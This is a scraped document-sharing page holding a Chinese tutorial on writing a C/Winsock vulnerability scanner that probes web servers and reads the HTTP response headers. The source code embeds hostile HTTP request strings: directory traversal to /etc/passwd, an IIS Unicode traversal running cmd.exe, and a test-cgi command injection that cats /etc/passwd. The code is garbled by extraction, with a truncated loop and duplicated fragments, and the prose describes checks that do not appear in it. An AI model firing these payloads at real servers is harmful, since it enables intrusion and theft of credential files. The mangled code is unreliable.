编写漏洞扫描器.doc

上传人:新** 文档编号:561116319 上传时间:2024-03-04 格式:DOC 页数:10 大小:31.50KB
返回 下载 相关 举报
编写漏洞扫描器.doc_第1页
第1页 / 共10页
编写漏洞扫描器.doc_第2页
第2页 / 共10页
编写漏洞扫描器.doc_第3页
第3页 / 共10页
编写漏洞扫描器.doc_第4页
第4页 / 共10页
编写漏洞扫描器.doc_第5页
第5页 / 共10页
点击查看更多>>
资源描述

《编写漏洞扫描器.doc》由会员分享,可在线阅读,更多相关《编写漏洞扫描器.doc(10页珍藏版)》请在金锄头文库上搜索。

1、indoc.in编写漏洞扫描器 一、漏洞扫描器基本原理: 编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在,它的socket建立过程和上面的端口扫描器是相同的,所不同的是漏洞扫描器通常使用80端口,然后对这个端口发送一个GET文件的请求,服务器接收到请求会返回文件内容,如果文件不存在则返回一个错误提示,通过接收返回内容可以判断文件是否存在。发送和接收数据需要使用函数send()和recv(),另外对流中存在的字符串进行判断需要使用函数strstr(),这除了需要具备socket函数库的知识以外,还需要一些有关string函数库的知识。二、简单的漏洞扫描源代码:/*/* 端口扫

2、描器 源代码*/*/#include #include #include int main(int argc,char *argv)if(argc!=2)printf(Useage : scan IP addressn);return(1);struct sockaddr_in blah;struct hostent *he;WSADATA wsaData;int i;WORD wVersionRequested;SOCKET sock;char buff1024;char *ex10;ex1=GET /././././etc/passwd HTTP/1.0nn;ex2=GET /script

3、s/.%c1%1c./winnt/system32/cmd.exe?/c+dir+c: HTTP/1.0nn;ex3=GET /A.ida/%c1%00.ida HTTP/1.0nn;ex4=GET /cgi-bin/pfdispaly.cgi?/././././etc/motd HTTP/1.0nn;ex5=GET /cgi-bin/test-cgi?help&0a/bin/cat%20/etc/passwd HTTP/1.0nn;ex6=GET /cgi-bin/test-cgi?* HTTP/1.0nn;char *fmsg=HTTP/1.1 200 OK;wVersionRequest

4、ed = MAKEWORD( 1, 1 );if (WSAStartup(wVersionRequested , &wsaData)printf(Winsock Initialization failed.n);exit(1);if (sock=socket(AF_INET,SOCK_STREAM,0)=INVALID_SOCKET)printf(Can not create socket.n);exit(1);sock = socket(AF_INET,SOCK_STREAM,0);blah.sin_family = AF_INET;blah.sin_port = htons(80);bla

5、h.sin_addr.s_addr= inet_addr(argv1);if (he=gethostbyname(argv1)!=NULL)memcpy(char *)&blah.sin_addr.s_addr,he-h_addr,he-h_length);elseif(blah.sin_addr.s_addr=inet_addr(argv1)=-1)WSACleanup();exit(1);for (i=1 ; ih_addr,he-h_length);elseif(blah.sin_addr.s_addr=inet_addr(argv1)=-1)WSACleanup();exit(1);i

6、f (connect(sock,(struct sockaddr*)&blah,sizeof(blah)=0)send(sock,ex1,strlen(ex1),0);recv(sock,buff,sizeof(buff),0);printf(%s,buff);send(sock,ex2,strlen(ex2),0);recv(sock,buff,sizeof(buff),0);printf(%s,buff);closesocket(sock);WSACleanup();return(1); 程序将检测文件进行了修改,指对“/index.htm”和“/noindex.htm”进行判断,因为in

7、dex.htm是默认的页面,所以大多数情况下是存在于服务器上的,而noindex.htm则是没有找到文件的情况,通过对接收回来的流buff的printf()可以清楚地看到返回来的究竟是什么东西。 通过运行程序读者会看到类似下面的内容: HTTP/1.1 200 OK Date: Thu, 23 Aug 2001 10:59:31 GMT Server: Apache/1.3.12 (Unix) Last-Modified: Thu, 23 Aug 2001 10:44:11 GMT ETag: a9c96-b73e-3b84de7b Accept-Ranges: bytes Content-L

8、ength: 46910 Connection: close Content-Type: text/html 这个htm程序的头部说明,返回内容还会有很多,不过下面的内容就是正常的htm文件了,这个头是被隐藏的,所以大多数使用者在平时使用电脑过程中,不会发现htm文件的开始部位,还有一个这样的内容说明。这个头里面包含了很多信息,例如第一行的200 OK就是文件存在的意思,如果是404 NOT FOUND那么就是文件不存在,也就是这个内容才能够让漏洞扫描器正常工作,现在读者应该明白为什么我们编写的漏洞扫描器里面由foundmsg=HTTP/1.1 200 OK的语句了吧。 通过这个头还可以了解到对方服务器使用的是什么系统,例如:Server: Apache/1.3.12 (Unix)就是我们扫描的服务器使用的系统类型。文章内容版权归原作者所有 VICHU.NET

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 生活休闲 > 社会民生

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号